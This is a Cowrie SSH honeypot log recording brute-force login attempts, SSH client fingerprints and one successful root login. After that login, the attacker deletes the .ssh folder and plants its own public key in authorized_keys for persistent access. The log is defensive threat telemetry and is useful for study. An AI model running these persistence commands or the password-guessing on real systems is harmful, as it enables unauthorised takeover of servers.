{"eventid":"cowrie.login.failed","username":"nb","password":"nbnb","message":"login attempt [nb/nbnb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:33.635517Z","src_ip":"43.156.170.155","session":"867d73d9d3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:34.884128Z","src_ip":"43.156.170.155","session":"867d73d9d3b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46476,"dst_ip":"10.17.0.5","dst_port":22,"session":"617b7f17f30c","protocol":"ssh","message":"New connection: 77.94.47.83:46476 (10.17.0.5:22) [session: 617b7f17f30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:42.421865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:42.425902Z","src_ip":"77.94.47.83","session":"617b7f17f30c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:42.535755Z","src_ip":"77.94.47.83","session":"617b7f17f30c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"den4ik","message":"login attempt [root/den4ik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:42.868345Z","src_ip":"77.94.47.83","session":"617b7f17f30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:43.980942Z","src_ip":"77.94.47.83","session":"617b7f17f30c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":56438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca284b77c08d","protocol":"ssh","message":"New connection: 36.91.81.195:56438 (159.203.135.109:22) [session: ca284b77c08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:44.470267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:44.481337Z","src_ip":"36.91.81.195","session":"ca284b77c08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:44.753635Z","src_ip":"36.91.81.195","session":"ca284b77c08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:45.871927Z","src_ip":"36.91.81.195","session":"ca284b77c08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:47.147686Z","src_ip":"36.91.81.195","session":"ca284b77c08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":55166,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ee3f9e35282","protocol":"ssh","message":"New connection: 87.226.190.225:55166 (10.17.0.5:22) [session: 3ee3f9e35282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:55.708447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:55.713869Z","src_ip":"87.226.190.225","session":"3ee3f9e35282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:55.874816Z","src_ip":"87.226.190.225","session":"3ee3f9e35282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43544,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d52e8ff9691","protocol":"ssh","message":"New connection: 103.27.238.116:43544 (10.17.0.5:22) [session: 0d52e8ff9691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:56.216873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:56.221897Z","src_ip":"103.27.238.116","session":"0d52e8ff9691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":54938,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a950629309a","protocol":"ssh","message":"New connection: 103.27.238.120:54938 (10.17.0.5:22) [session: 6a950629309a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:56.261904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:56.266516Z","src_ip":"103.27.238.120","session":"6a950629309a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:56.482611Z","src_ip":"103.27.238.116","session":"0d52e8ff9691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:56.535377Z","src_ip":"103.27.238.120","session":"6a950629309a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vip","password":"vip","message":"login attempt [vip/vip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:56.551002Z","src_ip":"87.226.190.225","session":"3ee3f9e35282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":42071,"dst_ip":"10.17.0.5","dst_port":22,"session":"a28e43784560","protocol":"ssh","message":"New connection: 41.181.156.205:42071 (10.17.0.5:22) [session: a28e43784560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:57.139485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:57.146041Z","src_ip":"41.181.156.205","session":"a28e43784560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23091991","message":"login attempt [root/23091991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:57.262819Z","src_ip":"103.27.238.116","session":"0d52e8ff9691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19621962","message":"login attempt [root/19621962] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:57.340814Z","src_ip":"103.27.238.120","session":"6a950629309a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:57.395561Z","src_ip":"41.181.156.205","session":"a28e43784560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:57.714262Z","src_ip":"87.226.190.225","session":"3ee3f9e35282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9ol.0p;/","message":"login attempt [root/9ol.0p;/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:58.419719Z","src_ip":"41.181.156.205","session":"a28e43784560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:58.526119Z","src_ip":"103.27.238.116","session":"0d52e8ff9691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:58.644845Z","src_ip":"103.27.238.120","session":"6a950629309a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:59.670163Z","src_ip":"41.181.156.205","session":"a28e43784560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:01.406217Z","src_ip":"121.229.25.10","session":"310d91579ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":46594,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c6b7651559","protocol":"ssh","message":"New connection: 4.227.177.11:46594 (10.17.0.5:22) [session: 53c6b7651559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.152575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.158072Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.170264Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.248013Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.325057Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.329317Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.333760Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.357168Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.419961Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.423630Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:08.442739Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
